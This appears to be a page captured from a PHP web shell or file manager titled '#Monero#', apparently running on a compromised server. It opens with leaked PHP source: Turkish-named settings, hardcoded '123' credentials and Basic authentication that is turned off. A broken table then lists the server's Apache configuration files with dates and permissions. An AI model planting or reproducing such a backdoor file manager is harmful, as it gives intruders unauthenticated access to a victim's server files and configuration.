# Konfigurasyon
$sayfaSifreleme ='0'; # 1 acik , 0 kapali
$kullaniciAdi = '123';
$sifre = '123';
# yetki kontrol fonksiyonu
function yetkiKontrol($kullaniciAdi,$sifre) {
if(empty($_SERVER['PHP_AUTH_USER']) || empty($_SERVER['PHP_AUTH_PW']) || $_SERVER['PHP_AUTH_USER'] != "$kullaniciAdi" || $_SERVER['PHP_AUTH_PW'] != "$sifre") {
header('WWW-Authenticate: Basic realm="x"');
die(header('HTTP/1.0 401 Unauthorized'));
}
}
# Sayfa Sifreleme aciksa
if($sayfaSifreleme =='1') {
# Veri ve sifre kontrolu
yetkiKontrol($kullaniciAdi,$sifre);
}
?>
#Monero#
| Name |
Size |
Modified |
Perms |
Actions |
| charset.conf |
315 bytes |
October 01 2020 04:09:43. |
0644 |
|
|
| cloudflare-realip.conf |
410 bytes |
October 09 2026 10:26:10. |
0644 |
|
|
| javascript-common.conf |
127 bytes |
August 11 2013 13:18:45. |
0644 |
|
|
| localized-error-pages.conf |
3.15 KB |
October 01 2020 04:09:43. |
0644 |
|
|
| other-vhosts-access-log.conf |
189 bytes |
October 01 2020 04:09:43. |
0644 |
|
|
| php7.4-fpm.conf |
804 bytes |
October 25 2021 23:20:54. |
0644 |
|
|
| php8.1-fpm.conf |
1.25 KB |
April 04 2022 18:30:17. |
0644 |
|
|
| security.conf |
2.12 KB |
October 01 2020 04:09:43. |
0644 |
|
|
| serve-cgi-bin.conf |
455 bytes |
October 01 2020 04:09:43. |
0644 |
|
|
| zzz-blockips.conf |
129 bytes |
October 09 2026 10:32:06. |
0644 |
|
|
| zzz-perf.conf |
279 bytes |
October 09 2026 10:23:18. |
0644 |
|
|